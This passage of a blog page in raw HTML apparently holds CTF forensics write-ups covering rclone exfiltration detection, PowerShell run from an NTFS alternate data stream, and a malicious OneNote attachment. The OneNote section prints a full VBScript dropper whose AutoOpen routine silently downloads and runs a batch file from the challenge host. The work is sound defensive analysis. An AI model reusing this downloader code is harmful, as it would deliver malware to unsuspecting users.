src=\"/static/036a890753e2ff52cf2bc00167d77dc2/55811/image-20230321120921048.png\"\n            alt=\"image-20230321120921048\"\n            title=\"image-20230321120921048\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"packet-cyclone-forensic\" style=\"position:relative;\"><a href=\"#packet-cyclone-forensic\" aria-label=\"packet cyclone forensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Packet Cyclone (Forensic)</h2>\n<blockquote>\n<p>Pandora’s friend and partner, Wade, is the one that leads the investigation into the relic’s location. Recently, he noticed some weird traffic coming from his host. That led him to believe that his host was compromised. After a quick investigation, his fear was confirmed. Pandora tries now to see if the attacker caused the suspicious traffic during the exfiltration phase. Pandora believes that the malicious actor used rclone to exfiltrate Wade’s research to the cloud. Using the tool called “chainsaw” and the sigma rules provided, can you detect the usage of rclone from the event logs produced by Sysmon? To get the flag, you need to start and connect to the docker service and answer all the questions correctly.</p>\n</blockquote>\n<p>The challenge asked us to identify what kind of incident occurred when data was exfiltrated using rclone.</p>\n<p>We were given multiple evtx files and sigma rules, but we chose to use <a href=\"https://github.com/Yamato-Security/hayabusa\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Yamato-Security/hayabusa</a> with its default rules instead of the provided sigma rules.</p>\n<p>We ran the following command to extract results from the provided event logs:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">hayabusa-2.2.0-win-x64.exe csv-timeline -d <span class=\"token string\">\"C:\\Users\\Tadpole01\\Downloads<span class=\"token entity\" title=\"\\f\">\\f</span>orensics_packet_cyclone\\Logs\"</span> -o result.csv</code></pre></div>\n<p>Filtering the results for High-severity events, we found the following command:</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/71e842ba81072c52f7bda7fadab257c5/2cefc/image-20230321122911223.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 8.333333333333332%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAW0lEQVQI1y2MMRbAIAhDvf8ti1JEBHWpQxlK+5opyctPgpwLFiICyIhYEHOJeJqZiPTeTa21dgAwc8Qmv6JMRDWcu+99rTVvd1WNnX6KiwDmnGOMl2SuzB8p0TwZsW4+iA+vhAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/71e842ba81072c52f7bda7fadab257c5/8ac56/image-20230321122911223.webp 240w,\n/static/71e842ba81072c52f7bda7fadab257c5/d3be9/image-20230321122911223.webp 480w,\n/static/71e842ba81072c52f7bda7fadab257c5/e46b2/image-20230321122911223.webp 960w,\n/static/71e842ba81072c52f7bda7fadab257c5/7f403/image-20230321122911223.webp 1400w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/71e842ba81072c52f7bda7fadab257c5/8ff5a/image-20230321122911223.png 240w,\n/static/71e842ba81072c52f7bda7fadab257c5/e85cb/image-20230321122911223.png 480w,\n/static/71e842ba81072c52f7bda7fadab257c5/d9199/image-20230321122911223.png 960w,\n/static/71e842ba81072c52f7bda7fadab257c5/2cefc/image-20230321122911223.png 1400w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/71e842ba81072c52f7bda7fadab257c5/d9199/image-20230321122911223.png\"\n            alt=\"image-20230321122911223\"\n            title=\"image-20230321122911223\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>This command revealed the key, service, and PID used during the rclone execution, giving us the flag.</p>\n<p>Reference: <a href=\"https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Detecting Rclone – An Effective Tool for Exfiltration – NCC Group Research</a></p>\n<h2 id=\"artifacts-of-dangerous-sightings-forensic\" style=\"position:relative;\"><a href=\"#artifacts-of-dangerous-sightings-forensic\" aria-label=\"artifacts of dangerous sightings forensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Artifacts of Dangerous Sightings (Forensic)</h2>\n<blockquote>\n<p>Pandora has been using her computer to uncover the secrets of the elusive relic. She has been relentlessly scouring through all the reports of its sightings. However, upon returning from a quick coffee break, her heart races as she notices the Windows Event Viewer tab open on the Security log. This is so strange! Immediately taking control of the situation she pulls out the network cable, takes a snapshot of her machine and shuts it down. She is determined to uncover who could be trying to sabotage her research, and the only way to do that is by diving deep down and following all traces …</p>\n</blockquote>\n<p>We were given a virtual hard disk image from a compromised environment.</p>\n<p>It took a little time to find a foothold, but we decided to analyze the system’s event logs.</p>\n<p>Using Hayabusa as before, we enumerated the High-severity alerts and found that the following command had been executed:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token string\">\"C:\\Windows\\System32\\WindowsPowerShell<span class=\"token entity\" title=\"\\v\">\\v</span>1.0\\powershell.exe\"</span> -ep bypass - <span class=\"token operator\">&lt;</span> E:<span class=\"token punctuation\">\\</span>C<span class=\"token punctuation\">\\</span>Windows<span class=\"token punctuation\">\\</span>Tasks<span class=\"token punctuation\">\\</span>ActiveSyncProvider.dll:hidden.ps1</code></pre></div>\n<p><code class=\"language-text\">ActiveSyncProvider.dll:hidden.ps1</code> retrieves data that was maliciously embedded in an Alternate Data Stream (ADS) of <code class=\"language-text\">ActiveSyncProvider.dll</code>.</p>\n<p>We were aware of NTFS ADS abuse as a concept, but this was our first time seeing it exploited in practice — very interesting.</p>\n<p>As a side note, the <code class=\"language-text\">dir /r</code> command can be used to enumerate ADS of a target file:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token function\">dir</span> /r ActiveSyncProvider.dll</code></pre></div>\n<p>The file <code class=\"language-text\">ActiveSyncProvider.dll</code> was still present on the virtual hard disk, so we actually examined the script executed by <code class=\"language-text\">ActiveSyncProvider.dll:hidden.ps1</code>.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/75054f1ac0eea3b51aae01b4c090c7d0/4dba2/image-20230321225440598.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 57.91666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAByUlEQVQoz4WR208TYRDF52u7l0JL6QVsFYQYgr0BCQ++aKTtdq9d2Cr6ojExMdH4//8BxzN83ZQH1Idfzjmz881MWtm5voZzcQk5G0NGI8hQGVsdDyHn9K/JmHkytP5806v5bGK91qbMkuSQLIeJC8jtLWFOCsuKeXUH0W85/V2+zRm1YI7W2941s4limGUCWcaQkCQR5CaDzFPWEpvZI0FicxRZQjJjTxqyvsn6XgJ9TOLEEuqg1NaC1NYiMltZrwvicDs0oc+WzNSY2bDJzFcwUQpTDgyp73Lry0U3Kzu4vDCIreqFukDzxzkv1KlBZM9mg9FHCX+GRcYFbCKGC8yCC9PYXrSI7VXldZu38oEDe++/41X2G8fxT7TefuM/9wlyQaaq9/x3P9s8eVRTf3lvc6ll7cWbr7ha/sJo9gP9qy9wXhaonazhEP9Biwev7D6qGSJPMXV8jFwfR24dBzUfHVKv+uhS90lro23SU1/10Km6kL8xqLg4qHhoc0hfB5EGcflQ8cgu8w6p0Qt7pdSnOHWaeO42cei2cEyOyAkZkD5puHtokT3isFf+x8BrY580vQ6e+V30SJccqrLW5jelQerMFar8gz8laEtNfNWWTAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/75054f1ac0eea3b51aae01b4c090c7d0/8ac56/image-20230321225440598.webp 240w,\n/static/75054f1ac0eea3b51aae01b4c090c7d0/d3be9/image-20230321225440598.webp 480w,\n/static/75054f1ac0eea3b51aae01b4c090c7d0/e46b2/image-20230321225440598.webp 960w,\n/static/75054f1ac0eea3b51aae01b4c090c7d0/ee998/image-20230321225440598.webp 1151w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/75054f1ac0eea3b51aae01b4c090c7d0/8ff5a/image-20230321225440598.png 240w,\n/static/75054f1ac0eea3b51aae01b4c090c7d0/e85cb/image-20230321225440598.png 480w,\n/static/75054f1ac0eea3b51aae01b4c090c7d0/d9199/image-20230321225440598.png 960w,\n/static/75054f1ac0eea3b51aae01b4c090c7d0/4dba2/image-20230321225440598.png 1151w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/75054f1ac0eea3b51aae01b4c090c7d0/d9199/image-20230321225440598.png\"\n            alt=\"image-20230321225440598\"\n            title=\"image-20230321225440598\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>As shown above, the script was heavily obfuscated with symbols.</p>\n<p>Decoding it from left to right, we were eventually able to recover a string expressed as <code class=\"language-text\">[Char]10</code>-style character codes:</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/336535e08c4b63d855fbd00b82d1614d/f5209/image-20230321230724460.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 27.500000000000004%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAoklEQVQY062RQQ7DIAwEeQgBkkrYhhCn/3/c1tBGrXJoc+hhtHhBawOOVwETGQwymAWlFBQxSkW2mkiwLDfM8/ITx9IDMlJKiDEO+vrg8KZpuoQjzmBhpDl9PRhCuMQIJCabJsL7fwSKvV8PNU0xvK74qU96qPf+rYY/eX0gV9YVtQpaU9y1QlWxtQLde92w7w26VWvKg5zzULKPPMiGdM/2HllepxSjdCiGAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/336535e08c4b63d855fbd00b82d1614d/8ac56/image-20230321230724460.webp 240w,\n/static/336535e08c4b63d855fbd00b82d1614d/d3be9/image-20230321230724460.webp 480w,\n/static/336535e08c4b63d855fbd00b82d1614d/e46b2/image-20230321230724460.webp 960w,\n/static/336535e08c4b63d855fbd00b82d1614d/44ba8/image-20230321230724460.webp 1061w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/336535e08c4b63d855fbd00b82d1614d/8ff5a/image-20230321230724460.png 240w,\n/static/336535e08c4b63d855fbd00b82d1614d/e85cb/image-20230321230724460.png 480w,\n/static/336535e08c4b63d855fbd00b82d1614d/d9199/image-20230321230724460.png 960w,\n/static/336535e08c4b63d855fbd00b82d1614d/f5209/image-20230321230724460.png 1061w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/336535e08c4b63d855fbd00b82d1614d/d9199/image-20230321230724460.png\"\n            alt=\"image-20230321230724460\"\n            title=\"image-20230321230724460\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Manually deobfuscating was somewhat tedious, so we wrote the following regex-based solver:</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">import</span> re\n\n<span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"obs.ps1\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"r\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    data <span class=\"token operator\">=</span> f<span class=\"token punctuation\">.</span>read<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"result\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"w\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    r <span class=\"token operator\">=</span> re<span class=\"token punctuation\">.</span>findall<span class=\"token punctuation\">(</span><span class=\"token string\">'(\\[Char\\][0-9]+)\\s'</span><span class=\"token punctuation\">,</span> data<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">for</span> d <span class=\"token keyword\">in</span> r<span class=\"token punctuation\">:</span>\n        c <span class=\"token operator\">=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>d<span class=\"token punctuation\">.</span>replace<span class=\"token punctuation\">(</span><span class=\"token string\">\"[Char]\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        data <span class=\"token operator\">=</span> data<span class=\"token punctuation\">.</span>replace<span class=\"token punctuation\">(</span>d<span class=\"token operator\">+</span><span class=\"token string\">\" \"</span><span class=\"token punctuation\">,</span> c<span class=\"token punctuation\">)</span>\n    \n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">)</span></code></pre></div>\n<p>Recovering the script this way ultimately let us retrieve the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 833px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/27714874fccbd4dbc2302d92b3250f95/5205c/image-20230321231142219.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 56.666666666666664%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABa0lEQVQoz41SW26DMBDkHsEG/AACBCcplIZE6k/b+99ou7PYVVJVVT5G+2R2Z03mrCNTGTIGsOSdpdp7cs5TU9cM+I6apqX1eqPXeaZhGCiEQDP7Y99RG/s926wsSyq0Jq0VVYUmV3FcFBxryVcl+yqXYetlpWVZaJomIbvdrvS2vNFwOEbCOhIyUcmobUWNNRIrpQSWB7TOiJ/nuSDV4O+QizGQWWu3TXgrw9u8nwZaQyeNJec+50CXsZNmLUr+R+b4ZqWQlSLvpWvoYxpl47529MWEnbdMqJ8jxIYgBCAPsi2Tp5w3lZCnDdWdPMlhULQYmuF1IRkfQTZuCOL0KDjDM5s9bJimbcTF9tJxSJ4ruedO7OYjl//E6qGWGSY8NI7O+5pODNzwHO3ct3RsPQUGaiH6gsZLLQG5ib8RySMHiWjq2bKPIvw5YWjFLoe9EKB3vqun3swyIV4x3E3DxpAMGfjHfkOpv/PAN7AmNmh57ZfDAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/27714874fccbd4dbc2302d92b3250f95/8ac56/image-20230321231142219.webp 240w,\n/static/27714874fccbd4dbc2302d92b3250f95/d3be9/image-20230321231142219.webp 480w,\n/static/27714874fccbd4dbc2302d92b3250f95/184c4/image-20230321231142219.webp 833w\"\n              sizes=\"(max-width: 833px) 100vw, 833px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/27714874fccbd4dbc2302d92b3250f95/8ff5a/image-20230321231142219.png 240w,\n/static/27714874fccbd4dbc2302d92b3250f95/e85cb/image-20230321231142219.png 480w,\n/static/27714874fccbd4dbc2302d92b3250f95/5205c/image-20230321231142219.png 833w\"\n            sizes=\"(max-width: 833px) 100vw, 833px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/27714874fccbd4dbc2302d92b3250f95/5205c/image-20230321231142219.png\"\n            alt=\"image-20230321231142219\"\n            title=\"image-20230321231142219\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"relic-maps-forensic\" style=\"position:relative;\"><a href=\"#relic-maps-forensic\" aria-label=\"relic maps forensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Relic Maps (Forensic)</h2>\n<blockquote>\n<p>Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what’s going on and get the flag. The link is to <a href=\"http://relicmaps.htb:/relicmaps.one\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">http://relicmaps.htb:/relicmaps.one</a>. The document is still live (relicmaps.htb should resolve to your docker instance).</p>\n</blockquote>\n<p>We identified the address and path of the challenge’s C2 server and retrieved the suspicious OneNote file.</p>\n<p>Running <code class=\"language-text\">strings</code> revealed an embedded script:</p>\n<div class=\"gatsby-highlight\" data-language=\"vbscript\"><pre class=\"language-vbscript\"><code class=\"language-vbscript\">Exec process using WMI\nFunction WmiExec(cmdLine )\n    Dim objConfig\n    Dim objProcess\n    Set objWMIService = GetObject(&quot;winmgmts:\\\\.\\root\\cimv2&quot;)\n    Set objStartup = objWMIService.Get(&quot;Win32_ProcessStartup&quot;)\n    Set objConfig = objStartup.SpawnInstance_\n    objConfig.ShowWindow = 0\n    Set objProcess = GetObject(&quot;winmgmts:\\\\.\\root\\cimv2:Win32_Process&quot;)\n    WmiExec = dukpatek(objProcess, objConfig, cmdLine)\nEnd Function\nPrivate Function dukpatek(myObjP , myObjC , myCmdL )\n    Dim procId\n    dukpatek = myObjP.Create(myCmdL, Null, myObjC, procId)\nEnd Function\nSub AutoOpen()\n    ExecuteCmdAsync &quot;cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/uploads/soft/topsecret-maps.one -OutFile $env:tmp\\tsmap.one; Start-Process -Filepath $env:tmp\\tsmap.one&quot;\n            ExecuteCmdAsync &quot;cmd /c powershell Invoke-WebRequest -Uri http://relicmaps.htb/get/DdAbds/window.bat -OutFile $env:tmp\\system32.bat; Start-Process -Filepath $env:tmp\\system32.bat&quot;\nEnd Sub\n&#39; Exec process using WScript.Shell (asynchronous)\nSub WscriptExec(cmdLine )\n    CreateObject(&quot;WScript.Shell&quot;).Run cmdLine, 0\nEnd Sub\nSub ExecuteCmdAsync(targetPath )\n    On Error Resume Next\n    Err.Clear\n    wimResult = WmiExec(targetPath)\n    If Err.Number &lt;&gt; 0 Or wimResult &lt;&gt; 0 Then\n        Err.Clear\n        WscriptExec targetPath\n    End If\n    On Error Goto 0\nEnd Sub\nwindow.resizeTo 0,0\nAutoOpenS\nClose</code></pre></div>\n<p>Looking at <code class=\"language-text\">AutoOpen</code>, we can see it downloads and executes a file called <code class=\"language-text\">window.bat</code>.</p>\n<p>We then downloaded this file from the C2 server.</p>\n<p>The file itself was obfuscated as shown below:</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 463px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/fd78f57c1be7ee9c0c3329f7865bcd4f/71ce0/image-20230328211740534.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 177.91666666666669%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAkCAYAAACJ8xqgAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEu0lEQVRIx41W2XbbOBTLT0wn8RIvErXvu7xbSdvT05m28/8fg8GlFEdu3aQPPLQWQ7gEcMk7r9ohy3NUZYksy+D7PizLguO4sG2bw9HDsvrfjtzj8/6+re8ncYYiK+C6Hu7sOEeRF2jbFmkSE9CD4ktK2foF/UfHgR+EcDkrN4ATJvD4TD6ulIIySYDvrddr3CnDhDIMOF4AP68R5SXiwEMe+tjkKWJ+wHMdhFEMz7Gx9iLYibCRjwRYrVYwTBOmscZ8Picg6SvTgOknKD79QLY74xA5OKYBNqGDhiOyDCzmM0ymU8ymE0wnD5jyt4y/7+/R1A0OZaafa0BLmbCCBFn3FVl7wD72sE0CHAQ08lAFLGe1xPzxEY+jsVgs8DCZoK5qAqb6+Z2lF5nrQIalMNyeUHmWBjumPgrfQeZx8ddLzFiSAElp8+H3/cMEVVVhV2QDoC65Z1h8/IacgLvIxTELNWBJQGForVcXwBfQHvABtZRc5X3JL4CKgPnzvxrwEAtggBNZbln+LvZhrJa/AC4GwLZpcG6KV0BZQ6VF+Y50c8Qx8XDOIzL1kLo2y6a6y8WF1c8MGwJ2Y8CXkoVhQZX3LHlDVlsCbsiwCV2oGwxvA4rb1fUaCsOuiPCUh4gchZwMHYNrOPtdye3PDA2WHPcl0zai8j7pVRawkqK8yZCidC0BZzNGb8imFaTa2MW+0wzFNlJyy3J3iQ/zDcC6rvG0LTGl+S/GFoZi7HzTG1ubmmC+ZSKy1U3AcclPTUmTS1LUUHLQqyzG3jB6IsqJ1mkpUPgOoIhyrovX6F0AKYoANoGtlT2w1I7CSPxWi19tc83wCvDVNuX+jI5iSHMQY0v0jgS2R0l5id4VYFveUPnjd20b8aGsYUmFcyou4bf4zvwtlS8MhzUUlfPnb9rY0rZE2X3Sm7qI2EhvZPlNH74CSpY9LYqASlK2ZDwW5brb3Ijei210ycxyS1GkH4oHReWas/GOyhdAe+iHwrD8/AP5rtPd5lOVUF1Xp6R6Lym/Y6g7NhlKPzyxH4oP6+D9pFz5cNwPX1SuyehE/3UE1YCxiPKHJd/qhyLCgWBibAGP2XHe64ejBivtS12MnVNlAawGQWT9PGXAWC7/tMHaI5W/6TVsCdJE0vrZbYYma76zBVySokY+1IA0du4q7JmUc9pbJ2NaVsvfZ/mmbdRoC6gZua6ItcoB25cAWm8kRQCfxltAvy+/Zln6oBhbSm3jfm82CTif/7rR33Ojv2I4Lrn8/J9OytYzcaK596HN7UAhttZYzPojiBxFZgSZPtzr+cOHv3THHjUHpQ86+ihy/oKi+4Kq3eHQfUK7OyIra9TNDkl7hJuWsKOMc4GI137RQkU5trs9jS0bPbcA01Ta2Cvlwgpzlh7y4BTDoC8NjzOPb2snhB2mMF1u+LanZ7m2gxhLi1vuZjsADgzlOGey5GT/jKDZI6y2SHZPiDdnRHLdHOHxqPfINdNjvIYPkyF6+U/ti6zq7h/a5oR4e0Z6/Kw/kB4+IiJw8fyVwHv9O6wP/OAzRwcrKbE7nPC0qTDlvn0np04Z5tKEv+aRlx9YLh4xGRZ9NpMz4fRVELmWIc94X95TjocwK7Hi4fV/3qMvQDl28VQAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/fd78f57c1be7ee9c0c3329f7865bcd4f/8ac56/image-20230328211740534.webp 240w,\n/static/fd78f57c1be7ee9c0c3329f7865bcd4f/a7d21/image-20230328211740534.webp 463w\"\n              sizes=\"(max-width: 463px) 100vw, 463px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/fd78f57c1be7ee9c0c3329f7865bcd4f/8ff5a/image-20230328211740534.png 240w,\n/static/fd78f57c1be7ee9c0c3329f7865bcd4f/71ce0/image-20230328211740534.png 463w\"\n            sizes=\"(max-width: 463px) 100vw, 463px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/fd78f57c1be7ee9c0c3329f7865bcd4f/71ce0/image-20230328211740534.png\"\n            alt=\"image-20230328211740534\"\n            title=\"image-20230328211740534\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Deobfuscating this file gives the following PowerShell script:</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/9806742d1d79a8bfcf33b566522ca894/4d383/image-20230322204149524.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 27.916666666666668%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAwklEQVQY002QWQ6EMAxDew92qayFsoO4/8EyepFSzYflOjZugzvPU973leM45Hkeue9b+bouZbx/mA+jyX3flzxHEUOK932XaZpkHMeEeZ4lhCBd1yVvGAZlm8PMgEPYR3Df92rAhNu2VVhJVVXSNE3yvfeJgYsxapjbKYXXdVVYMViWRX+L+WibbdumG/Igh+BAMSsTQsPMeJVdQBZYjjLm5O0Sxzp5nusqdV3ruSxLybJMiqJQzYp4zI0tT4YsOfQP0Tuzp1aItQUAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/9806742d1d79a8bfcf33b566522ca894/8ac56/image-20230322204149524.webp 240w,\n/static/9806742d1d79a8bfcf33b566522ca894/d3be9/image-20230322204149524.webp 480w,\n/static/9806742d1d79a8bfcf33b566522ca894/e46b2/image-20230322204149524.webp 960w,\n/static/9806742d1d79a8bfcf33b566522ca894/2ccb3/image-20230322204149524.webp 1195w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/9806742d1d79a8bfcf33b566522ca894/8ff5a/image-20230322204149524.png 240w,\n/static/9806742d1d79a8bfcf33b566522ca894/e85cb/image-20230322204149524.png 